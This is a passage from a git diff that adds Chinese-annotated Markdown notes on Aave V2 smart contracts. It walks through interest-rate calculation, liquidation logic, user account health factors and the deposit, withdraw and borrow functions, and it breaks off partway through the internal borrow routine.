+  uint256 averageStableBorrowRate, // 平均固定利率
+  uint256 reserveFactor // 划入准备金池中的数量
+)
+  public
+  view
+  override
+  returns (
+    uint256,
+    uint256,
+    uint256
+  )
+{
+  // 初始化缓存变量，用于缓存计算结果
+  CalcInterestRatesLocalVars memory vars;
+
+  // 总债务 = 固定债务 + 浮动债务
+  vars.totalDebt = totalStableDebt.add(totalVariableDebt);
+  // 初始化利率结果缓存
+  vars.currentVariableBorrowRate = 0;
+  vars.currentStableBorrowRate = 0;
+  vars.currentLiquidityRate = 0;
+
+  // 获取流动性利用率 U = totalDebt / totalLiquidity
+  // totalLiquidity = 可用流动性 + 总债务（已借出的流动性）
+  vars.utilizationRate = vars.totalDebt == 0
+    ? 0
+    : vars.totalDebt.rayDiv(availableLiquidity.add(vars.totalDebt));
+
+  // 获取预言机提供的多个市场的加权平均利率，作为固定利率的基准利率 即 R_base
+  vars.currentStableBorrowRate = ILendingRateOracle(addressesProvider.getLendingRateOracle())
+    .getMarketBorrowRate(reserve);
+
+  // 当 U > U_optimal
+  if (vars.utilizationRate > OPTIMAL_UTILIZATION_RATE) {
+    // excessUtilizationRateRatio = (U - U_optimal) / (1 - U_optimal)
+    uint256 excessUtilizationRateRatio =
+      vars.utilizationRate.sub(OPTIMAL_UTILIZATION_RATE).rayDiv(EXCESS_UTILIZATION_RATE);
+
+    // R_base (stable) + R_slope1 + excessUtilizationRateRatio * R_slope2
+    vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(_stableRateSlope1).add(
+      _stableRateSlope2.rayMul(excessUtilizationRateRatio)
+    );
+
+    // R_base (variable) + R_slope1 + excessUtilizationRateRatio * R_slope2
+    vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(_variableRateSlope1).add(
+      _variableRateSlope2.rayMul(excessUtilizationRateRatio)
+    );
+  } else {
+    // 当 U <= U_optimal
+    // R_base (stable) + U / U_optimal * R_slope1
+    vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(
+      _stableRateSlope1.rayMul(vars.utilizationRate.rayDiv(OPTIMAL_UTILIZATION_RATE))
+    );
+    // R_base (variable) + U / U_optimal * R_slope1
+    vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(
+      vars.utilizationRate.rayMul(_variableRateSlope1).rayDiv(OPTIMAL_UTILIZATION_RATE)
+    );
+  }
+
+  // 计算流动性收益率（每单位流动性获取的利息）
+  // liquidityRate = overallBorrowRate * U * (100 - reserveFactor)%
+  // overallBorrowRate 是浮动和固定利率的加权平均利率
+  // reserveFactor 是设定的划入池子准备金的百分比份额
+  vars.currentLiquidityRate = _getOverallBorrowRate(
+    totalStableDebt,
+    totalVariableDebt,
+    vars
+      .currentVariableBorrowRate,
+    averageStableBorrowRate
+  )
+    .rayMul(vars.utilizationRate)
+    .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(reserveFactor));
+
+  return (
+    vars.currentLiquidityRate,
+    vars.currentStableBorrowRate,
+    vars.currentVariableBorrowRate
+  );
+}
+```
diff --git a/defi/Aave/contract/8-LendingPoolCollateralManager.md b/defi/Aave/contract/8-LendingPoolCollateralManager.md
new file mode 100644
index 000000000..0901ac6a7
--- /dev/null
+++ b/defi/Aave/contract/8-LendingPoolCollateralManager.md
@@ -0,0 +1,421 @@
+# LendingPoolCollateralManager
+
+在协议中实施涉及抵押品管理的操作，主要是清算。
+
+**注意**：此合约将始终由 LendingPool 合约通过 DELEGATECALL 运行，因此继承链与 LendingPool 相同，具有兼容的存储布局 (`LendingPoolStorage`)。
+
+## methods
+
+### liquidationCall
+
+清算方法相关变量的缓存结构体
+
+```solidity
+struct LiquidationCallLocalVars {
+  uint256 userCollateralBalance;  // 被清算人的抵押品价值
+  uint256 userStableDebt; // 被清算人的固定利率债务
+  uint256 userVariableDebt; // 被清算人的浮动利率债务
+  uint256 maxLiquidatableDebt;  // 能够被清算的最大债务数量
+  uint256 actualDebtToLiquidate;  // 实际清算的债务数量
+  uint256 liquidationRatio; // 清算比例
+  uint256 maxAmountCollateralToLiquidate; // 所选清算资产能被清算的最大数量
+  uint256 userStableRate; // 用户的平均固定利率
+  uint256 maxCollateralToLiquidate; //
+  uint256 debtAmountNeeded;
+  uint256 healthFactor;
+  uint256 liquidatorPreviousATokenBalance;
+  IAToken collateralAtoken;
+  bool isCollateralEnabled;
+  DataTypes.InterestRateMode borrowRateMode;
+  uint256 errorCode;
+  string errorMsg;
+}
+```
+
+执行清算的具体方法
+
+```solidity
+/**
+  * @dev Function to liquidate a position if its Health Factor drops below 1
+  * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives
+  *   a proportionally amount of the `collateralAsset` plus a bonus to cover market risk
+  * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
+  * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
+  * @param user The address of the borrower getting liquidated
+  * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
+  * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
+  * to receive the underlying collateral asset directly
+  **/
+function liquidationCall(
+  address collateralAsset,
+  address debtAsset,
+  address user,
+  uint256 debtToCover,
+  bool receiveAToken
+) external override returns (uint256, string memory) {
+  DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset]; // 待清算的抵押资产
+  DataTypes.ReserveData storage debtReserve = _reserves[debtAsset]; // 待清算的债务资产
+  DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user]; // 待清算的贷款人设置
+
+  LiquidationCallLocalVars memory vars;
+
+  (, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData( // 获取被清算人的健康系数
+    user,
+    _reserves,
+    userConfig,
+    _reservesList,
+    _reservesCount,
+    _addressesProvider.getPriceOracle()
+  );
+
+  (vars.userStableDebt, vars.userVariableDebt) = Helpers.getUserCurrentDebt(user, debtReserve); // 获取被清算人的债务数量
+
+  // 验证清算操作的合法性
+  // 1. 健康系数 < 1
+  // 2. 用户在该资产上有抵押且有清算阈值
+  // 3. 用户负债数量不为0
+  (vars.errorCode, vars.errorMsg) = ValidationLogic.validateLiquidationCall(
+    collateralReserve,
+    debtReserve,
+    userConfig,
+    vars.healthFactor,
+    vars.userStableDebt,
+    vars.userVariableDebt
+  );
+
+  if (Errors.CollateralManagerErrors(vars.errorCode) != Errors.CollateralManagerErrors.NO_ERROR) {
+    return (vars.errorCode, vars.errorMsg);
+  }
+
+  vars.collateralAtoken = IAToken(collateralReserve.aTokenAddress); // 获取抵押资产的aToken
+
+  vars.userCollateralBalance = vars.collateralAtoken.balanceOf(user); // 获取抵押资产的atoken数量
+
+  vars.maxLiquidatableDebt = vars.userStableDebt.add(vars.userVariableDebt).percentMul( // 计算清算的最大数量：总债务 * close_factor
+    LIQUIDATION_CLOSE_FACTOR_PERCENT
+  );
+
+  vars.actualDebtToLiquidate = debtToCover > vars.maxLiquidatableDebt  // 清算人期望执行的数量不能大于最大清算数量
+    ? vars.maxLiquidatableDebt
+    : debtToCover;
+
+  (
+    vars.maxCollateralToLiquidate,  // 计算可获得的最大奖励数量
+    vars.debtAmountNeeded // 可清偿的债务数量
+  ) = _calculateAvailableCollateralToLiquidate(
+    collateralReserve,
+    debtReserve,
+    collateralAsset,
+    debtAsset,
+    vars.actualDebtToLiquidate,
+    vars.userCollateralBalance
+  );
+
+  // If debtAmountNeeded < actualDebtToLiquidate, there isn't enough
+  // collateral to cover the actual amount that is being liquidated, hence we liquidate
+  // a smaller amount
+
+  if (vars.debtAmountNeeded < vars.actualDebtToLiquidate) { // 实际执行清算数量不能大于需要被清算的数量
+    vars.actualDebtToLiquidate = vars.debtAmountNeeded;
+  }
+
+  // If the liquidator reclaims the underlying asset, we make sure there is enough available liquidity in the
+  // collateral reserve
+  // 如果清算人希望收取原始token资产而非 atoken, 需要保证池子有足够的流动性支付(例如token被借贷走，没有足够数量)
+  if (!receiveAToken) {
+    uint256 currentAvailableCollateral =
+      IERC20(collateralAsset).balanceOf(address(vars.collateralAtoken));
+    if (currentAvailableCollateral < vars.maxCollateralToLiquidate) {
+      return (
+        uint256(Errors.CollateralManagerErrors.NOT_ENOUGH_LIQUIDITY),
+        Errors.LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE
+      );
+    }
+  }
+
+  debtReserve.updateState();  // 触发债务资产更新状态，全局指数等
+
+  // 优先清算浮动利率债务，不足部分以固定利率债务补足
+  if (vars.userVariableDebt >= vars.actualDebtToLiquidate) {
+    IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn(
+      user,
+      vars.actualDebtToLiquidate,
+      debtReserve.variableBorrowIndex
+    );
+  } else {
+    // If the user doesn't have variable debt, no need to try to burn variable debt tokens
+    if (vars.userVariableDebt > 0) {
+      IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn(
+        user,
+        vars.userVariableDebt,
+        debtReserve.variableBorrowIndex
+      );
+    }
+    IStableDebtToken(debtReserve.stableDebtTokenAddress).burn(
+      user,
+      vars.actualDebtToLiquidate.sub(vars.userVariableDebt)
+    );
+  }
+
+  debtReserve.updateInterestRates(  // 债务资产更新利率数据
+    debtAsset,
+    debtReserve.aTokenAddress,
+    vars.actualDebtToLiquidate,
+    0
+  );
+
+  if (receiveAToken) {  // 清算人接受aToken
+    vars.liquidatorPreviousATokenBalance = IERC20(vars.collateralAtoken).balanceOf(msg.sender);
+    vars.collateralAtoken.transferOnLiquidation(user, msg.sender, vars.maxCollateralToLiquidate); // 转账aToken
+
+    if (vars.liquidatorPreviousATokenBalance == 0) {  // 如果清算人的该资产没有抵押余额，需要将其用户配置更改
+      DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender];
+      liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true);
+      emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender);
+    }
+  } else {  // 清算人接受原始token，调用aToken.burn()将原始token转给清算人
+    collateralReserve.updateState();
+    collateralReserve.updateInterestRates(
+      collateralAsset,
+      address(vars.collateralAtoken),
+      0,
+      vars.maxCollateralToLiquidate
+    );
+
+    // Burn the equivalent amount of aToken, sending the underlying to the liquidator
+    vars.collateralAtoken.burn(
+      user,
+      msg.sender,
+      vars.maxCollateralToLiquidate,
+      collateralReserve.liquidityIndex
+    );
+  }
+
+  // If the collateral being liquidated is equal to the user balance,
+  // we set the currency as not being used as collateral anymore
+  if (vars.maxCollateralToLiquidate == vars.userCollateralBalance) {  // 被清算人的该资产如果余额为0，则修改其用户配置
+    userConfig.setUsingAsCollateral(collateralReserve.id, false);
+    emit ReserveUsedAsCollateralDisabled(collateralAsset, user);
+  }
+
+  // Transfers the debt asset being repaid to the aToken, where the liquidity is kept
+  // 从清算人那转入借贷资产的原始token，到借贷资产的 aToken 地址
+  
+  IERC20(debtAsset).safeTransferFrom(  
+    msg.sender,
+    debtReserve.aTokenAddress,
+    vars.actualDebtToLiquidate
+  );
+
+  emit LiquidationCall(
+    collateralAsset,
+    debtAsset,
+    user,
+    vars.actualDebtToLiquidate,
+    vars.maxCollateralToLiquidate,
+    msg.sender,
+    receiveAToken
+  );
+
+  return (uint256(Errors.CollateralManagerErrors.NO_ERROR), Errors.LPCM_NO_ERRORS);
+}
+```
+
+### \_calculateAvailableCollateralToLiquidate
+
+计算可清算特定抵押品的具体数量，返回可清算的最大债务数量和可获取的最大奖励数量
+
+**注意：** 该方法需要在检查完清算入参后调用。
+
+计算过程中的相关变量缓存结构体
+
+```solidity
+struct AvailableCollateralToLiquidateLocalVars {
+  uint256 userCompoundedBorrowBalance;  // 被清算人的债务本息总数
+  uint256 liquidationBonus; // 清算奖励比例 （1+清算奖励百分比）
+  uint256 collateralPrice;  // 抵押品资产价格
+  uint256 debtAssetPrice; // 借贷资产价格
+  uint256 maxAmountCollateralToLiquidate; // 最大清算数量（包括获得的奖励）
+  uint256 debtAssetDecimals;  // 借贷资产的精度
+  uint256 collateralDecimals; // 抵押资产的精度
+}
+```
+
+计算方法
+
+```solidity
+/**
+  * @dev Calculates how much of a specific collateral can be liquidated, given
+  * a certain amount of debt asset.
+  * - This function needs to be called after all the checks to validate the liquidation have been performed,
+  *   otherwise it might fail.
+  * @param collateralReserve The data of the collateral reserve
+  * @param debtReserve The data of the debt reserve
+  * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
+  * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
+  * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
+  * @param userCollateralBalance The collateral balance for the specific `collateralAsset` of the user being liquidated
+  * @return collateralAmount: The maximum amount that is possible to liquidate given all the liquidation constraints
+  *                           (user balance, close factor)
+  *         debtAmountNeeded: The amount to repay with the liquidation
+  **/
+function _calculateAvailableCollateralToLiquidate(
+  DataTypes.ReserveData storage collateralReserve,
+  DataTypes.ReserveData storage debtReserve,
+  address collateralAsset,
+  address debtAsset,
+  uint256 debtToCover,
+  uint256 userCollateralBalance
+) internal view returns (uint256, uint256) {
+  // 该资产可被清算的最大数量，由用户抵押品数量和 close factor 决定 (0.5，即一次最多清算一半)
+  uint256 collateralAmount = 0;
+  // 该笔债务需要被清算的最少数量
+  uint256 debtAmountNeeded = 0;
+  // 价格预言机地址
+  IPriceOracleGetter oracle = IPriceOracleGetter(_addressesProvider.getPriceOracle());
+
+  AvailableCollateralToLiquidateLocalVars memory vars;  // 计算相关的变量缓存
+
+  vars.collateralPrice = oracle.getAssetPrice(collateralAsset); // 抵押资产价格
+  vars.debtAssetPrice = oracle.getAssetPrice(debtAsset);  // 借贷资产价格
+
+  // 从抵押资产的全局配置中获取清算奖励比例和资产的精度
+  (, , vars.liquidationBonus, vars.collateralDecimals, ) = collateralReserve
+    .configuration
+    .getParams();
+  vars.debtAssetDecimals = debtReserve.configuration.getDecimals(); // 借贷资产的精度
+
+  // 下面计算借贷资产能够被清算的最大数量
+
+  // 计算清算该资产的最大可清算数量，包括能获得的奖励数量
+  // debtPrice * debtToCover * liquidationBonus / collateralPrice
+  vars.maxAmountCollateralToLiquidate = vars
+    .debtAssetPrice
+    .mul(debtToCover)
+    .mul(10**vars.collateralDecimals)
+    .percentMul(vars.liquidationBonus)  //  这里是 (1 + liquidation bonus)%
+    .div(vars.collateralPrice.mul(10**vars.debtAssetDecimals));
+
+  // 如果最大清算数量 > 用户的抵押品余额
+  if (vars.maxAmountCollateralToLiquidate > userCollateralBalance) {
+    collateralAmount = userCollateralBalance; // 最大清算数量 = 用户该资产余额
+    // 最大清算额度通过用户余额反推 (collateralAmount / liquidationBonus) * (colleralPrice / debtPrice)
+    debtAmountNeeded = vars
+      .collateralPrice
+      .mul(collateralAmount)
+      .mul(10**vars.debtAssetDecimals)
+      .div(vars.debtAssetPrice.mul(10**vars.collateralDecimals))
+      .percentDiv(vars.liquidationBonus);
+  } else {
+    collateralAmount = vars.maxAmountCollateralToLiquidate;
+    debtAmountNeeded = debtToCover;
+  }
+  return (collateralAmount, debtAmountNeeded);
+}
+```
+
+### calculateUserAccountData
+
+通过资产数据计算用户数据，包括流动性，抵押资产数量，借贷资产数量 （以ETH计价），平均 LTV, 平均清算阈值，健康系数
+
+```solidity
+/**
+  * @dev Calculates the user data across the reserves.
+  * this includes the total liquidity/collateral/borrow balances in ETH,
+  * the average Loan To Value, the average Liquidation Ratio, and the Health factor.
+  * @param user The address of the user
+  * @param reservesData Data of all the reserves
+  * @param userConfig The configuration of the user
+  * @param reserves The list of the available reserves
+  * @param oracle The price oracle address
+  * @return The total collateral and total debt of the user in ETH, the avg ltv, liquidation threshold and the HF
+  **/
+function calculateUserAccountData(
+  address user, // 用户地址
+  mapping(address => DataTypes.ReserveData) storage reservesData, // 资产数据mapping
+  DataTypes.UserConfigurationMap memory userConfig, // 用户配置
+  mapping(uint256 => address) storage reserves, // 资产地址mapping
+  uint256 reservesCount,  // 资产种类总数
+  address oracle  // 预言机地址
+)
+  internal
+  view
+  returns (
+    uint256,
+    uint256,
+    uint256,
+    uint256,
+    uint256
+  )
+{
+  CalculateUserAccountDataVars memory vars;
+
+  if (userConfig.isEmpty()) { // 当用户没有抵押也没有借贷 直接返回0
+    return (0, 0, 0, 0, uint256(-1)); // HF 健康系数 -1
+  }
+  // 遍历所有资产数据 累计计算用户的平均清算阈值和 抵押，借贷资产
+  for (vars.i = 0; vars.i < reservesCount; vars.i++) {
+    if (!userConfig.isUsingAsCollateralOrBorrowing(vars.i)) { // 用户在该资产上没有抵押也没有借贷，跳过
+      continue;
+    }
+
+    vars.currentReserveAddress = reserves[vars.i];  // 缓存当前资产的地址
+    DataTypes.ReserveData storage currentReserve = reservesData[vars.currentReserveAddress];  // 缓存资产数据
+
+    (vars.ltv, vars.liquidationThreshold, , vars.decimals, ) = currentReserve // 获取资产的配置
+      .configuration
+      .getParams();
+
+    vars.tokenUnit = 10**vars.decimals; // 缓存资产的精度换算单位
+    vars.reserveUnitPrice = IPriceOracleGetter(oracle).getAssetPrice(vars.currentReserveAddress); // 获取资产每单位价格
+
+    if (vars.liquidationThreshold != 0 && userConfig.isUsingAsCollateral(vars.i)) { // 如果该资产用作抵押
+      vars.compoundedLiquidityBalance = IERC20(currentReserve.aTokenAddress).balanceOf(user); // 获取对应 aToken 数量
+
+      uint256 liquidityBalanceETH =
+        vars.reserveUnitPrice.mul(vars.compoundedLiquidityBalance).div(vars.tokenUnit); // 计算资产以eth计价的数量
+
+      vars.totalCollateralInETH = vars.totalCollateralInETH.add(liquidityBalanceETH);  // 累计资产价值
+
+      vars.avgLtv = vars.avgLtv.add(liquidityBalanceETH.mul(vars.ltv));  // 累计加权平均 LTV
+      vars.avgLiquidationThreshold = vars.avgLiquidationThreshold.add(  // 累计加权平均清算阈值
+        liquidityBalanceETH.mul(vars.liquidationThreshold)
+      );
+    }
+
+    if (userConfig.isBorrowing(vars.i)) { // 如果该资产作为借贷资产
+      vars.compoundedBorrowBalance = IERC20(currentReserve.stableDebtTokenAddress).balanceOf( // 获取 StableDebtToken 数量
+        user
+      );
+      vars.compoundedBorrowBalance = vars.compoundedBorrowBalance.add(  // 获取 VariableDebtToken 数量
+        IERC20(currentReserve.variableDebtTokenAddress).balanceOf(user)
+      );
+
+      vars.totalDebtInETH = vars.totalDebtInETH.add(  // 计算两种债务的价值总和
+        vars.reserveUnitPrice.mul(vars.compoundedBorrowBalance).div(vars.tokenUnit)
+      );
+    }
+  }
+
+  vars.avgLtv = vars.totalCollateralInETH > 0 ? vars.avgLtv.div(vars.totalCollateralInETH) : 0; // 将累计的 LTV / 总价值 得出平均的 LTV
+  vars.avgLiquidationThreshold = vars.totalCollateralInETH > 0  // 将累计的清算阈值除以总价值
+    ? vars.avgLiquidationThreshold.div(vars.totalCollateralInETH)
+    : 0;
+
+  // 计算 HF 健康系数
+  // totalCollateralInETH * avgLiquidationThreshold / totalDebtInETH
+  vars.healthFactor = calculateHealthFactorFromBalances(
+    vars.totalCollateralInETH,
+    vars.totalDebtInETH,
+    vars.avgLiquidationThreshold
+  );
+  return (
+    vars.totalCollateralInETH,
+    vars.totalDebtInETH,
+    vars.avgLtv,
+    vars.avgLiquidationThreshold,
+    vars.healthFactor
+  );
+}
+```
+
diff --git a/defi/Aave/contract/9-LendingPool.md b/defi/Aave/contract/9-LendingPool.md
new file mode 100644
index 000000000..effba0dba
--- /dev/null
+++ b/defi/Aave/contract/9-LendingPool.md
@@ -0,0 +1,1067 @@
+# LendingPool
+
+Aave 协议最主要的入口合约，大部分情况下，用户与此合约交互。
+
+> deposit, borrow, withdraw 和 repay 方法仅针对 ERC20 类型代币，如果要操作 ETH（原生代币），需要使用 `WETHGateway`
+
+## methods
+
+主要的交互接口。
+
+### deposit
+
+存入资产，将**相同数量**的 aToken 转给调用者（`onBehalfOf`，一般是 `msg.sender`）。
+
+**注意：**
+
+1. 存入资产之前需要确保其有足够数量的 `allowance()` ，若不足需要先调用它的 `approve()` 授权给 `LendingPool`
+2. `onBehalfOf` 如果该存入资产是第一次被存入（之前没有人存入过相同的资产），则将用户（onBehalfOf）的配置中该资产自动转换为抵押类型
+3. 转给用户的 aToken 查询余额与 amount 相等，但实际上 mint 的数量要进行缩放，详见 [aToken.mint](./3-aToken.md#mint)
+
+| Parameter Name | Type    | Description                                                |
+| -------------- | ------- | ---------------------------------------------------------- |
+| asset          | address | 抵押资产的 token 地址                                      |
+| amount         | uint256 | 抵押资产的数量                                             |
+| onBehalfOf     | address | aToken 转账的目标地址，即债权人，默认填写 `msg.sender`     |
+| referralCode   | uint16  | 推介码，用于广播的自定义事件代码，当用户直接调用时推荐写 0 |
+
+```solidity
+/**
+  * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
+  * - E.g. User deposits 100 USDC and gets in return 100 aUSDC
+  * @param asset The address of the underlying asset to deposit
+  * @param amount The amount to be deposited
+  * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
+  *   wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
+  *   is a different wallet
+  * @param referralCode Code used to register the integrator originating the operation, for potential rewards.
+  *   0 if the action is executed directly by the user, without any middle-man
+  **/
+function deposit(
+  address asset,
+  uint256 amount,
+  address onBehalfOf,
+  uint16 referralCode
+) external override whenNotPaused {
+  // 根据抵押资产的地址获取资产的相关数据
+  DataTypes.ReserveData storage reserve = _reserves[asset];
+
+  // 验证抵押数量是否符合要求：
+  // 抵押数量不能为0，资产必须是激活状态，且没有处于冻结状态
+  ValidationLogic.validateDeposit(reserve, amount);
+
+  // 获取抵押资产对应的 aToken 地址
+  address aToken = reserve.aTokenAddress;
+
+  // 更新资产的状态变量
+  reserve.updateState();
+  // 更新资产的利率模型变量
+  reserve.updateInterestRates(asset, aToken, amount, 0);
+
+  // 把你的资产传给协议
+  IERC20(asset).safeTransferFrom(msg.sender, aToken, amount);
+
+  // 将 aToken mint给 onBehalfOf 地址（一般是 msg.sender）
+  // isFirstDeposit 代表该资产是否是用户第一次存入或之前抵押余额为0
+  bool isFirstDeposit = IAToken(aToken).mint(onBehalfOf, amount, reserve.liquidityIndex);
+
+  // 若第一次被存入，默认将用户 onBehalfOf 的配置中相应资产转为可抵押类型
+  if (isFirstDeposit) {
+    _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true);
+    emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf);
+  }
+
+  // 广播事件
+  emit Deposit(asset, msg.sender, onBehalfOf, amount, referralCode);
+}
+```
+
+相关代码
+
+- [DataTypes](#DataTypes)
+- [reserve.updateState()](./6-ReserveLogic.md#updateState)
+- [reserve.updateInterestRates()](./6-ReserveLogic.md#updateInterestRates)
+- [AToken.mint()](./3-AToken.md#mint)
+- [Configuration.setUsingAsCollateral()](./2-Configuration.md#setUsingAsCollateral)
+
+### withdraw
+
+赎回 `amount` 数量抵押资产，销毁相应数量的 `aToken`。例如赎回抵押的 100 USDC 资产，则会销毁 100 aUSDC。
+
+| Parameter Name | Type    | Description                                            |
+| -------------- | ------- | ------------------------------------------------------ |
+| asset          | address | 抵押资产的 token 地址                                  |
+| amount         | uint256 | 赎回的数量，如果使用 `type(uint).max` 则会赎回最大数量 |
+| to             | address | 赎回资产的转账的目标地址                               |
+
+```solidity
+/**
+  * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned
+  * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC
+  * @param asset The address of the underlying asset to withdraw
+  * @param amount The underlying amount to be withdrawn
+  *   - Send the value type(uint256).max in order to withdraw the whole aToken balance
+  * @param to Address that will receive the underlying, same as msg.sender if the user
+  *   wants to receive it on his own wallet, or a different address if the beneficiary is a
+  *   different wallet
+  * @return The final amount withdrawn
+  **/
+function withdraw(
+  address asset,
+  uint256 amount,
+  address to
+) external override whenNotPaused returns (uint256) {
+  DataTypes.ReserveData storage reserve = _reserves[asset]; // 获取reserve数据
+
+  address aToken = reserve.aTokenAddress; // 获取aToken地址
+
+  uint256 userBalance = IAToken(aToken).balanceOf(msg.sender); // 查询aToken数量，本息总额
+
+  uint256 amountToWithdraw = amount;
+
+  // 如果是 uin256 最大值，赎回用户所有余额
+  if (amount == type(uint256).max) {
+    amountToWithdraw = userBalance;
+  }
+
+  // 验证参数合法性
+  ValidationLogic.validateWithdraw(
+    asset,
+    amountToWithdraw,
+    userBalance,
+    _reserves,
+    _usersConfig[msg.sender],
+    _reservesList,
+    _reservesCount,
+    _addressesProvider.getPriceOracle()
+  );
+
+  // 更新资产的状态变量
+  reserve.updateState();
+
+  // 更新资产的利率模型变量
+  reserve.updateInterestRates(asset, aToken, 0, amountToWithdraw);
+
+  // 如果用户赎回了全部余额，则设置用户的该资产不再是抵押品
+  if (amountToWithdraw == userBalance) {
+    _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false);
+    emit ReserveUsedAsCollateralDisabled(asset, msg.sender);
+  }
+
+  // aToken.burn()
+  IAToken(aToken).burn(msg.sender, to, amountToWithdraw, reserve.liquidityIndex);
+
+  emit Withdraw(asset, msg.sender, to, amountToWithdraw);
+
+  return amountToWithdraw;
+}
+```
+
+相关代码
+
+- [DataTypes](#DataTypes)
+- [reserve.updateState()](./6-ReserveLogic.md#updateState)
+- [reserve.updateInterestRates()](./6-ReserveLogic.md#updateInterestRates)
+- [AToken.burn()](./3-AToken.md#burn)
+
+### borrow
+
+选择浮动利率或者固定利率，调用方法后借贷资产转给调用者(`msg.sender`)，债务由 `onBehalfOf` 承担，一般也是 `msg.sender` 。调用者即借款人必须有足够的抵押资产，或被授予了足够的信用额度。信用额度即为 AToken 拥有者对其他用户授予的 allowance 数量。
+
+parameters:
+
+| Parameter Name   | Type    | Description                                             |
+| ---------------- | ------- | ------------------------------------------------------- |
+| asset            | address | 借贷资产的 token 地址                                   |
+| amount           | uint256 | 借贷资产的数量                                          |
+| interestRateMode | uint256 | 借贷利率类型，固定 1，浮动 2                            |
+| onBehalfOf       | address | debtToken 转账地址，即债务偿还人，默认填写 `msg.sender` |
+| referralCode     | uint16  | 用于广播的自定义事件代码，当用户直接调用时推荐写 0      |
+
+债务偿还人和债务受益人可以不同，比如抵押资产在冷钱包中，将信用额度转让给热钱包，便于操作。
+
+```solidity
+/**
+  * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower
+  * already deposited enough collateral, or he was given enough allowance by a credit delegator on the
+  * corresponding debt token (StableDebtToken or VariableDebtToken)
+  * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet
+  *   and 100 stable/variable debt tokens, depending on the `interestRateMode`
+  * @param asset The address of the underlying asset to borrow
+  * @param amount The amount to be borrowed
+  * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable
+  * @param referralCode Code used to register the integrator originating the operation, for potential rewards.
+  *   0 if the action is executed directly by the user, without any middle-man
+  * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself
+  * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator
+  * if he has been given credit delegation allowance
+  **/
+function borrow(
+  address asset,  // 借贷资产地址
+  uint256 amount, // 借贷数量
+  uint256 interestRateMode, // 利率模式 1 固定 2 浮动
+  uint16 referralCode,  // 推介码，一般为0
+  address onBehalfOf  // 债务承担者地址
+) external override whenNotPaused {
+  // 从storage中读取借贷资产信息
+  DataTypes.ReserveData storage reserve = _reserves[asset];
+
+  // 调用借贷内部方法
+  _executeBorrow(
+    ExecuteBorrowParams(
+      asset,
+      msg.sender,
+      onBehalfOf,
+      amount,
+      interestRateMode,
+      reserve.aTokenAddress,
+      referralCode,
+      true
+    )
+  );
+}
+```
+
+内部借贷方法的入参结构体
+
+```solidity
+struct ExecuteBorrowParams {
+  address asset;  // 借贷资产地址
+  address user;   // 借贷受益人
+  address onBehalfOf; // 还款人
+  uint256 amount; // 借贷数量
+  uint256 interestRateMode; // 借贷类型 固定 1 浮动 2
+  address aTokenAddress;  // aToken的地址
+  uint16 referralCode;  // 推介码
+  bool releaseUnderlying; // 是否释放借贷资产给受益人，一般为true
+}
+```
+
+具体执行借贷的内部方法
+
+```solidity
+function _executeBorrow(ExecuteBorrowParams memory vars) internal {
+  // 从storage中读取借贷资产信息
+  DataTypes.ReserveData storage reserve = _reserves[vars.asset];
+  // 从storage中读取用户设置信息
+  DataTypes.UserConfigurationMap storage userConfig = _usersConfig[vars.onBehalfOf];
+
+  // 获取预言机价格提供合约的地址
+  address oracle = _addressesProvider.getPriceOracle();
+
+  // 将借贷资产数量换算成等价的ETH数量
+  uint256 amountInETH =
+    IPriceOracleGetter(oracle).getAssetPrice(vars.asset).mul(vars.amount).div(
+      10**reserve.configuration.getDecimals()
+    );
+
+  // 检验入参是否合法
+  ValidationLogic.validateBorrow(
+    vars.asset,
+    reserve,
+    vars.onBehalfOf,
+    vars.amount,
+    amountInETH,
+    vars.interestRateMode,
+    _maxStableRateBorrowSizePercent,
+    _reserves,
+    userConfig,
+    _reservesList,
+    _reservesCount,
+    oracle
+  );
+
+  // 更新资产状态
+  reserve.updateState();
+
+  // 初始化固定利率
+  uint256 currentStableRate = 0;
+
+  // 代表是否是该用户在此资产上的第一笔借贷
+  bool isFirstBorrowing = false;
+  // 使用固定利率的借贷
+  if (DataTypes.InterestRateMode(vars.interestRateMode) == DataTypes.InterestRateMode.STABLE) {
+    // 读取当前的固定利率
+    currentStableRate = reserve.currentStableBorrowRate;
+
+    // 调用固定利率债务token的mint方法
+    //  1. 将debtToken转给 msg.sender
+    //  2. 返回该笔借贷前，用户借贷额是否为0，即判断该笔借贷是否为用户的第一笔
+    isFirstBorrowing = IStableDebtToken(reserve.stableDebtTokenAddress).mint(
+      vars.user,
+      vars.onBehalfOf,
+      vars.amount,
+      currentStableRate
+    );
+  } else {
